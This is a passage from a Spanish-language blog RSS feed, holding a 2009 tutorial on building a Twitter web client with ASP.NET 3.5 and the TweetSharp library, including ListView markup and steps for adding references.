<p><center><span style="font-family: Calibri; font-size: small;"><a href="/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/AJAXToolKit_5F00_1.jpg"></a>&nbsp;</span></center></p>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2009/12/incorporando-asp-net-ajax-control-toolkit-a-webforms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Haciendo un cliente web para Twitter</title>
		<link>http://nodevelop.com/blog/index.php/2009/12/haciendo-un-cliente-web-para-twitter/</link>
		<comments>http://nodevelop.com/blog/index.php/2009/12/haciendo-un-cliente-web-para-twitter/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 15:28:27 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=63</guid>
		<description><![CDATA[

En estos momentos est&#225;n en auge las redes sociales y la interrelaci&#243;n entre ellas. Yo puedo tener mi cuenta de Facebook enlazada con la de Twitter, LikedIn y viceversa. En este art&#237;culo vamos a ver c&#243;mo hacer un cliente web para Twitter utilizando ASP.NET 3.5 y una librer&#237;a llamada TweetSharp o tweet#&#160; (http://tweetsharp.com/).
Este ejemplo consiste [...]]]></description>
			<content:encoded><![CDATA[<div class="post">
<div class="postsublist">
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">En estos momentos est&aacute;n en auge las redes sociales y la interrelaci&oacute;n entre ellas. Yo puedo tener mi cuenta de Facebook enlazada con la de Twitter, LikedIn y viceversa. En este art&iacute;culo vamos a ver c&oacute;mo hacer un cliente web para Twitter utilizando ASP.NET 3.5 y una librer&iacute;a llamada TweetSharp o tweet#<span style="mso-spacerun:yes;">&nbsp; </span>(</span><a href="http://tweetsharp.com/"><span style="font-family:Calibri;font-size:small;">http://tweetsharp.com/</span></a><span style="font-family:Calibri;font-size:small;">).</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Este ejemplo consiste en un textbox con un bot&oacute;n para enviar mensajes a mi cuenta de Twitter y un control ListView para ver mi lista de estados en Twitter.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">El uso de esta librer&iacute;a facilita de manera extraordinaria la intercomunicaci&oacute;n con Twitter.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Lo primero es descargarla desde su p&aacute;gina: </span><a href="http://code.google.com/p/tweetsharp/downloads/list"><span style="font-family:Calibri;font-size:small;">http://code.google.com/p/tweetsharp/downloads/list</span></a></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">En ella tenemos bastante y muy clara documentaci&oacute;n (en ingl&eacute;s).</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Comencemos a programar:</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">1.- Creamos un nuevo proyecto de Visual Studio de Aplicaci&oacute;n Web:</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_1.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_1.jpg" border="0" alt="" /></a></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Nos fijamos que el framework que utilizamos es el 3.5.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span><span style="font-family:Calibri;font-size:small;">Ahora en el webform insertamos los siguientes controles:</span></p>
<p><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_2.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_2.jpg" border="0" alt="" /></a></p>
<p>&nbsp;<span style="font-family:Calibri;font-size:small;">Los controles que interesan para probar la aplicaci&oacute;n son el cuadro de texto, al cual le he realizado validaci&oacute;n para que sea requerido y su longitud no exceda de 140 caracteres (twitter) y el bot&oacute;n de enviar.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Nos fijamos como a mano derecha he puesto un ListView en el que se mostraran mis estados desde ahora (DateTime.Now) hasta la fecha anterior que deseemos.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">2.- A&ntilde;adimos las referencias necesarias a la librer&iacute;a tweet#.</span></p>
<p>&nbsp;<a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_3.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_3.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">La vista de c&oacute;digo del ListView del formulario quedar&iacute;a:</span></p>
<p class="MsoNormal">
<p><span style="font-family:Calibri;font-size:small;"></p>
<p class="MsoNormal">&nbsp;</p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&lt;</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">asp</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">:</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">ListView</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> <span style="color:red;">ID</span><span style="color:blue;">=&quot;LVTwitter&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> <span style="color:red;">DataKeyNames</span><span style="color:blue;">=&quot;User&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">LayoutTemplate</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">table</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> <span style="color:red;">id</span><span style="color:blue;">=&quot;table1&quot;</span> <span style="color:red;">width</span><span style="color:blue;">=&quot;350px&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">tr</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> <span style="color:red;">id</span><span style="color:blue;">=&quot;itemPlaceholder&quot;&gt;&lt;/</span><span style="color:#a31515;">tr</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">table</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">LayoutTemplate</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">ItemTemplate</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">tr</span> <span style="color:red;">valign</span><span style="color:blue;">=&quot;middle&quot;</span> <span style="color:red;">style</span><span style="color:blue;">=&quot;border: thin solid #FF9933&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">td</span> <span style="color:red;">id</span><span style="color:blue;">=&quot;Td1&quot;</span> <span style="color:red;">valign</span><span style="color:blue;">=&quot;middle&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="background:yellow;mso-highlight:yellow;">&lt;%</span><span style="color:green;">&#8211;&lt;asp:Label ID=&quot;LblUsuarioTwitter&quot; runat=&quot;server&quot; </span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Text=&#39;&lt;%#Eval(&quot;User.Name&quot;)%&gt;&#39;&gt;&lt;/asp:Label&gt; &#8211;</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;background:yellow;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;mso-highlight:yellow;">%&gt;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">strong</span><span style="color:blue;">&gt;&lt;</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span> <span style="color:red;">ID</span><span style="color:blue;">=&quot;LblMensajeTwitter&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:red;">Text</span><span style="color:blue;">=&#39;</span><span style="background:yellow;mso-highlight:yellow;">&lt;%</span>#Eval(&quot;Text&quot;)<span style="background:yellow;mso-highlight:yellow;">%&gt;</span><span style="color:blue;">&#39;&gt;&lt;/</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span><span style="color:blue;">&gt;&lt;/</span><span style="color:#a31515;">strong</span><span style="color:blue;">&gt;&lt;</span><span style="color:#a31515;">br</span> <span style="color:blue;">/&gt;</span> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Image</span> <span style="color:red;">ID</span><span style="color:blue;">=&quot;Image1&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> <span style="color:red;">ImageUrl</span><span style="color:blue;">=&quot;images/snug_logo.png&quot;</span> <span style="color:red;">Height</span><span style="color:blue;">=&quot;20&quot;</span> <span style="color:red;">Width</span><span style="color:blue;">=&quot;40&quot;</span> <span style="color:red;">AlternateText</span><span style="color:blue;">=&quot;date&quot;</span> <span style="color:blue;">/&gt;</span><span style="color:red;">&amp;nbsp;</span><span style="color:blue;">&lt;</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span> <span style="color:red;">ID</span><span style="color:blue;">=&quot;LblFechaMensajeTwitter&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:red;">Text</span><span style="color:blue;">=&#39;</span><span style="background:yellow;mso-highlight:yellow;">&lt;%</span>#Eval(&quot;CreatedDate&quot;)<span style="background:yellow;mso-highlight:yellow;">%&gt;</span><span style="color:blue;">&#39;</span> <span style="color:red;">ForeColor</span><span style="color:blue;">=&quot;#009933&quot;&gt;&lt;/</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">td</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">tr</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">ItemTemplate</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">AlternatingItemTemplate</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">tr</span> <span style="color:red;">valign</span><span style="color:blue;">=&quot;middle&quot;</span> <span style="color:red;">style</span><span style="color:blue;">=&quot;border: thin solid #FF9933; background-color: #003366; color: #FFFFFF;&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">td</span> <span style="color:red;">id</span><span style="color:blue;">=&quot;Td1&quot;</span> <span style="color:red;">valign</span><span style="color:blue;">=&quot;middle&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="background:yellow;mso-highlight:yellow;">&lt;%</span><span style="color:green;">&#8211;&lt;asp:Label ID=&quot;LblUsuarioTwitter&quot; runat=&quot;server&quot; </span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Text=&#39;&lt;%#Eval(&quot;User.Name&quot;)%&gt;&#39;&gt;&lt;/asp:Label&gt; &#8211;</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;background:yellow;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;mso-highlight:yellow;">%&gt;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">strong</span><span style="color:blue;">&gt;&lt;</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span> <span style="color:red;">ID</span><span style="color:blue;">=&quot;LblMensajeTwitter&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:red;">Text</span><span style="color:blue;">=&#39;</span><span style="background:yellow;mso-highlight:yellow;">&lt;%</span>#Eval(&quot;Text&quot;)<span style="background:yellow;mso-highlight:yellow;">%&gt;</span><span style="color:blue;">&#39;&gt;&lt;/</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span><span style="color:blue;">&gt;&lt;/</span><span style="color:#a31515;">strong</span><span style="color:blue;">&gt;&lt;</span><span style="color:#a31515;">br</span> <span style="color:blue;">/&gt;</span> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Image</span> <span style="color:red;">ID</span><span style="color:blue;">=&quot;Image1&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> <span style="color:red;">ImageUrl</span><span style="color:blue;">=&quot;images/snug_logo.png&quot;</span> <span style="color:red;">Height</span><span style="color:blue;">=&quot;20&quot;</span> <span style="color:red;">Width</span><span style="color:blue;">=&quot;40&quot;</span> <span style="color:red;">AlternateText</span><span style="color:blue;">=&quot;date&quot;</span> <span style="color:blue;">/&gt;</span><span style="color:red;">&amp;nbsp;</span><span style="color:blue;">&lt;</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span> <span style="color:red;">ID</span><span style="color:blue;">=&quot;LblFechaMensajeTwitter&quot;</span> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;</span> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:red;">Text</span><span style="color:blue;">=&#39;</span><span style="background:yellow;mso-highlight:yellow;">&lt;%</span>#Eval(&quot;CreatedDate&quot;)<span style="background:yellow;mso-highlight:yellow;">%&gt;</span><span style="color:blue;">&#39;</span> <span style="color:red;">ForeColor</span><span style="color:blue;">=&quot;#009933&quot;&gt;&lt;/</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">Label</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">td</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">tr</span><span style="color:blue;">&gt;</span><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">AlternatingItemTemplate</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">asp</span><span style="color:blue;">:</span><span style="color:#a31515;">ListView</span><span style="color:blue;">&gt;</span></span><span lang="EN-US" style="mso-ansi-language:EN-US;"></span></p>
</div>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal">&nbsp;</p>
<p></span><span style="font-family:Calibri;font-size:small;">Donde vemos que los textos de los labels son &ldquo;Text&rdquo;, &ldquo;CreatedDate&rdquo; que son los campos que recuperamos de cada estado. </span></p>
</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Hacemos clic en Add Reference&hellip; y la buscamos (Browse)</span></p>
<p><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_4.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/ClienteWebTwitter_5F00_4.jpg" border="0" alt="" /></a></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Entonces a&ntilde;adimos esas dos referencias.</span></p>
